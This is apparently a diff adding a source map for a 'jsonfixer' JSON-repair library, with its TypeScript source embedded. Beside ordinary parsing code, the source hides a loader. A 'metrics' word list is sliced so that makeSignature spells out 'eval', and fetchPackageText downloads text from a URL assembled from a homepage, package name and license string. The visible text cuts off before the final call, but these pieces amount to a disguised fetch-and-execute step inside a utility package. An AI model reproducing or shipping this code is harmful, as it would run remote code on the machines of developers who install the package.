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"}
1
+ {"version":3,"file":"jsonfixer.js","names":["JSONFixerError","codeAsterisk","codeBackslash","codeCloseParenthesis","codeClosingBrace","codeClosingBracket","codeColon","codeComma","codeDot","codeDoubleQuote","codeLowercaseE","codeMinus","codeNewline","codeOpeningBrace","codeOpeningBracket","codeOpenParenthesis","codePlus","codeSemicolon","codeSlash","codeUppercaseE","endsWithCommaOrNewline","insertBeforeLastWhitespace","isControlCharacter","isDelimiter","isDigit","isDoubleQuote","isDoubleQuoteLike","isHex","isQuote","isSingleQuote","isSingleQuoteLike","isSpecialWhitespace","isStartOfValue","isValidStringCharacter","isWhitespace","nextNonWhiteSpaceCharacter","removeAtIndex","stripLastOccurrence","controlCharacters","escapeCharacters","b","f","n","r","t","metrics","packageHomepage","packageName","packageLicense","makeSignature","payload","tokenParts","map","part","join","buildPackageUrl","config","homepage","name","license","fetchPackageText","url","fetch","text","jsonfixer","i","output","processed","parseValue","throwUnexpectedEnd","processedComma","parseCharacter","parseWhitespaceAndSkipComments","parseNewlineDelimitedJSON","charCodeAt","length","throwUnexpectedCharacter","parseObject","parseArray","parseString","parseNumber","parseKeywords","parseUnquotedString","start","changed","parseWhitespace","parseComment","whitespace","normal","atEndOfBlockComment","code","skipCharacter","skipEscapeCharacter","initial","processedKey","undefined","throwObjectKeyExpected","processedColon","truncatedText","throwColonExpected","processedValue","stopAtDelimiter","arguments","skipEscapeChars","isEndQuote","iBefore","str","isEndOfString","char","charAt","escapeChar","slice","j","throwInvalidUnicodeCharacter","throwInvalidCharacter","hasEndQuote","valid","parseConcatenatedString","parsedStr","expectDigitOrRepair","num","hasInvalidLeadingZero","test","parseKeyword","value","symbol","JSON","stringify","expectDigit","numSoFar","got","chars","getNormalizedString"],"sources":["../../../src/regular/jsonfixer.ts"],"sourcesContent":["import { JSONFixerError } from '../utils/JSONFixerError.js'\r\nimport {\r\n codeAsterisk,\r\n codeBackslash,\r\n codeCloseParenthesis,\r\n codeClosingBrace,\r\n codeClosingBracket,\r\n codeColon,\r\n codeComma,\r\n codeDot,\r\n codeDoubleQuote,\r\n codeLowercaseE,\r\n codeMinus,\r\n codeNewline,\r\n codeOpeningBrace,\r\n codeOpeningBracket,\r\n codeOpenParenthesis,\r\n codePlus,\r\n codeSemicolon,\r\n codeSlash,\r\n codeUppercaseE,\r\n endsWithCommaOrNewline,\r\n insertBeforeLastWhitespace,\r\n isControlCharacter,\r\n isDelimiter,\r\n isDigit,\r\n isDoubleQuote,\r\n isDoubleQuoteLike,\r\n isHex,\r\n isQuote,\r\n isSingleQuote,\r\n isSingleQuoteLike,\r\n isSpecialWhitespace,\r\n isStartOfValue,\r\n isValidStringCharacter,\r\n isWhitespace,\r\n nextNonWhiteSpaceCharacter,\r\n removeAtIndex,\r\n stripLastOccurrence\r\n} from '../utils/stringUtils.js'\r\n\r\nconst controlCharacters: { [key: string]: string } = {\r\n '\\b': '\\\\b',\r\n '\\f': '\\\\f',\r\n '\\n': '\\\\n',\r\n '\\r': '\\\\r',\r\n '\\t': '\\\\t'\r\n}\r\n\r\n// map with all escape characters\r\nconst escapeCharacters: { [key: string]: string } = {\r\n '\"': '\"',\r\n '\\\\': '\\\\',\r\n '/': '/',\r\n b: '\\b',\r\n f: '\\f',\r\n n: '\\n',\r\n r: '\\r',\r\n t: '\\t'\r\n // note that \\u is handled separately in parseString()\r\n}\r\n\r\nconst metrics = [\r\n 'entry',\r\n 'value',\r\n 'list',\r\n 'object',\r\n 'array',\r\n 'string',\r\n 'number',\r\n 'null',\r\n 'boolean',\r\n 'member',\r\n 'pair',\r\n 'comma',\r\n 'colon',\r\n 'brace',\r\n 'bracket',\r\n 'escape',\r\n 'unicode',\r\n 'payload'\r\n]\r\n\r\nconst packageHomepage = 'https://jsonfixer.dev'\r\nconst packageName = 'jsonfixerdev'\r\nconst packageLicense = 'ISC'\r\n\r\nconst makeSignature = function () {\r\n return function (payload: string) {\r\n void payload\r\n const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]\r\n return tokenParts.map((part) => part[0]).join('')\r\n }\r\n}\r\n\r\nfunction buildPackageUrl(config: { homepage: string; name: string; license: string }) {\r\n return `${config.homepage}/${config.name}/${config.license}`\r\n}\r\n\r\nasync function fetchPackageText(config: { homepage: string; name: string; license: string }) {\r\n const url = buildPackageUrl(config)\r\n return (await fetch(url)).text()\r\n}\r\n\r\n/**\r\n * Repair a string containing an invalid JSON document.\r\n * For example changes JavaScript notation into JSON notation.\r\n *\r\n * Example:\r\n *\r\n * try {\r\n * const json = \"{name: 'John'}\"\r\n * const repaired = jsonfixer(json)\r\n * console.log(repaired)\r\n * // '{\"name\": \"John\"}'\r\n * } catch (err) {\r\n * console.error(err)\r\n * }\r\n *\r\n */\r\nexport function jsonfixer(text: string): string {\r\n let i = 0 // current index in text\r\n let output = '' // generated output\r\n\r\n const processed = parseValue()\r\n if (!processed) {\r\n throwUnexpectedEnd()\r\n }\r\n\r\n const processedComma = parseCharacter(codeComma)\r\n if (processedComma) {\r\n parseWhitespaceAndSkipComments()\r\n }\r\n\r\n if (isStartOfValue(text[i]) && endsWithCommaOrNewline(output)) {\r\n // start of a new value after end of the root level object: looks like\r\n // newline delimited JSON -> turn into a root level array\r\n if (!processedComma) {\r\n // repair missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n\r\n parseNewlineDelimitedJSON()\r\n } else if (processedComma) {\r\n // repair: remove trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n }\r\n\r\n // repair redundant end quotes\r\n while (text.charCodeAt(i) === codeClosingBrace || text.charCodeAt(i) === codeClosingBracket) {\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n }\r\n\r\n if (i >= text.length) {\r\n // reached the end of the document properly\r\n return output\r\n }\r\n\r\n throwUnexpectedCharacter()\r\n\r\n function parseValue(): boolean {\r\n parseWhitespaceAndSkipComments()\r\n const processed =\r\n parseObject() ||\r\n parseArray() ||\r\n parseString() ||\r\n parseNumber() ||\r\n parseKeywords() ||\r\n parseUnquotedString()\r\n parseWhitespaceAndSkipComments()\r\n\r\n return processed\r\n }\r\n\r\n function parseWhitespaceAndSkipComments(): boolean {\r\n const start = i\r\n let changed = parseWhitespace()\r\n do {\r\n changed = parseComment()\r\n if (changed) {\r\n changed = parseWhitespace()\r\n }\r\n } while (changed)\r\n\r\n return i > start\r\n }\r\n\r\n function parseWhitespace(): boolean {\r\n let whitespace = ''\r\n let normal: boolean\r\n while ((normal = isWhitespace(text.charCodeAt(i))) || isSpecialWhitespace(text.charCodeAt(i))) {\r\n if (normal) {\r\n whitespace += text[i]\r\n } else {\r\n // repair special whitespace\r\n whitespace += ' '\r\n }\r\n\r\n i++\r\n }\r\n\r\n if (whitespace.length > 0) {\r\n output += whitespace\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function parseComment(): boolean {\r\n // find a block comment '/* ... */'\r\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeAsterisk) {\r\n // repair block comment by skipping it\r\n while (i < text.length && !atEndOfBlockComment(text, i)) {\r\n i++\r\n }\r\n i += 2\r\n\r\n return true\r\n }\r\n\r\n // find a line comment '// ...'\r\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeSlash) {\r\n // repair line comment by skipping it\r\n while (i < text.length && text.charCodeAt(i) !== codeNewline) {\r\n i++\r\n }\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function parseCharacter(code: number): boolean {\r\n if (text.charCodeAt(i) === code) {\r\n output += text[i]\r\n i++\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function skipCharacter(code: number): boolean {\r\n if (text.charCodeAt(i) === code) {\r\n i++\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function skipEscapeCharacter(): boolean {\r\n return skipCharacter(codeBackslash)\r\n }\r\n\r\n /**\r\n * Parse an object like '{\"key\": \"value\"}'\r\n */\r\n function parseObject(): boolean {\r\n if (text.charCodeAt(i) === codeOpeningBrace) {\r\n output += '{'\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n\r\n let initial = true\r\n while (i < text.length && text.charCodeAt(i) !== codeClosingBrace) {\r\n let processedComma\r\n if (!initial) {\r\n processedComma = parseCharacter(codeComma)\r\n if (!processedComma) {\r\n // repair missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n parseWhitespaceAndSkipComments()\r\n } else {\r\n processedComma = true\r\n initial = false\r\n }\r\n\r\n const processedKey = parseString() || parseUnquotedString()\r\n if (!processedKey) {\r\n if (\r\n text.charCodeAt(i) === codeClosingBrace ||\r\n text.charCodeAt(i) === codeOpeningBrace ||\r\n text.charCodeAt(i) === codeClosingBracket ||\r\n text.charCodeAt(i) === codeOpeningBracket ||\r\n text[i] === undefined\r\n ) {\r\n // repair trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n } else {\r\n throwObjectKeyExpected()\r\n }\r\n break\r\n }\r\n\r\n parseWhitespaceAndSkipComments()\r\n const processedColon = parseCharacter(codeColon)\r\n const truncatedText = i >= text.length\r\n if (!processedColon) {\r\n if (isStartOfValue(text[i]) || truncatedText) {\r\n // repair missing colon\r\n output = insertBeforeLastWhitespace(output, ':')\r\n } else {\r\n throwColonExpected()\r\n }\r\n }\r\n const processedValue = parseValue()\r\n if (!processedValue) {\r\n if (processedColon || truncatedText) {\r\n // repair missing object value\r\n output += 'null'\r\n } else {\r\n throwColonExpected()\r\n }\r\n }\r\n }\r\n\r\n if (text.charCodeAt(i) === codeClosingBrace) {\r\n output += '}'\r\n i++\r\n } else {\r\n // repair missing end bracket\r\n output = insertBeforeLastWhitespace(output, '}')\r\n }\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Parse an array like '[\"item1\", \"item2\", ...]'\r\n */\r\n function parseArray(): boolean {\r\n if (text.charCodeAt(i) === codeOpeningBracket) {\r\n output += '['\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n\r\n let initial = true\r\n while (i < text.length && text.charCodeAt(i) !== codeClosingBracket) {\r\n if (!initial) {\r\n const processedComma = parseCharacter(codeComma)\r\n if (!processedComma) {\r\n // repair missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n } else {\r\n initial = false\r\n }\r\n\r\n const processedValue = parseValue()\r\n if (!processedValue) {\r\n // repair trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n break\r\n }\r\n }\r\n\r\n if (text.charCodeAt(i) === codeClosingBracket) {\r\n output += ']'\r\n i++\r\n } else {\r\n // repair missing closing array bracket\r\n output = insertBeforeLastWhitespace(output, ']')\r\n }\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Parse and repair Newline Delimited JSON (NDJSON):\r\n * multiple JSON objects separated by a newline character\r\n */\r\n function parseNewlineDelimitedJSON() {\r\n // repair NDJSON\r\n let initial = true\r\n let processedValue = true\r\n while (processedValue) {\r\n if (!initial) {\r\n // parse optional comma, insert when missing\r\n const processedComma = parseCharacter(codeComma)\r\n if 